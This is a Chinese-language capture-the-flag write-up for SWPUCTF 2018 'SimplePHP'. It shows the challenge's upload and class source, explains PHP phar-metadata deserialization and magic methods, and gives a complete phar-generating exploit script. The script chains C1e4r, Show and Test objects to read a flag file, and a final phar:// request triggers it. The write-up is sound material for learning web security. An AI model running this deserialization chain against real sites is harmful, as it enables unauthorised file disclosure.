[SWPUCTF 2018]SimplePHP(phar反序列化)

[SWPUCTF 2018]SimplePHP(phar反序列化)_第1张图片
首先看到是个文件上传,先看源码,源码里有个file.php?file=
[SWPUCTF 2018]SimplePHP(phar反序列化)_第2张图片
可以读文件,简单的都看了一下,主要注意力放在 class.php 和 function.php
function.php

 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo ''; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "

请选择上传的文件:" . "

"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo ''; return false; } } } ?>

class.php


class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

class.php 的 show类也提示了用 phar:// 来反序列化

知识点
在php中我们以前都是使用unserialize 函数来进行反序列化。

但其实php在通过phar://伪协议解析phar文件时,也会将meta-data的数据进行反序列化

模板
我们只需要将需要反序列化的代码赋值给$a就可以了。

运行后就会出现一个phar.phar后缀名的文件,且它生成后文件名可以随便修改,

因为phar文件的识别主要是看__HALT_COMPILER(); ?>这个标志头


$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"); //设置stub
$phar->setMetadata($a);    //将自定义的$a存入meta-data,最后被反序列化
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

另外补充一些魔术方法
__construct():当对象创建时会自动调用,但在unserialize()时是不会自动调用的
__destruct():当对象操作执行完毕后自动执行__destruct()函数的代码。
__wakeup:unserialize()时自动调用
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

代码审计

首先在 Test类看到 file_get_contents,可以利用链子__get -> get -> file_get

__get() 在访问不存在的属性变量时就会调用这个方法,我们只需调用不存在的变量就可以触发
[SWPUCTF 2018]SimplePHP(phar反序列化)_第3张图片
在看 Show类$this->str['str']->source,假如我们让str['str'] 是 Test类,而 Test类又没有 source变量,就可以触发 __get
[SWPUCTF 2018]SimplePHP(phar反序列化)_第4张图片
__toString() 把类当作字符串使用时触发 ,我们最后只需要把 C1e4r类当做字符串使用就可以触发

C1e4r类可以 打印最后的结果
[SWPUCTF 2018]SimplePHP(phar反序列化)_第5张图片

生成phar文件


class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
}
$a=new C1e4r();
$b=new Show();
$c=new Test();
$c->params['source']='/var/www/html/f1ag.php';
$b->str['str']=$c;		//触发`__toString()`  
$a->str=$b;				// echo 打印出结果

$phar = new Phar("phar.phar"); 
$phar->startBuffering();
$phar->setStub("GIF89a"); 
$phar->setMetadata($a);  
$phar->addFromString("exp.txt", "test"); 
$phar->stopBuffering();
?>

[SWPUCTF 2018]SimplePHP(phar反序列化)_第6张图片
上传,访问
/file.php?file=phar://upload/a7d532b5eda3ae13a9885808515e1838.jpg
在这里插入图片描述
[SWPUCTF 2018]SimplePHP(phar反序列化)_第7张图片

你可能感兴趣的:(Buuctf刷题篇,安全)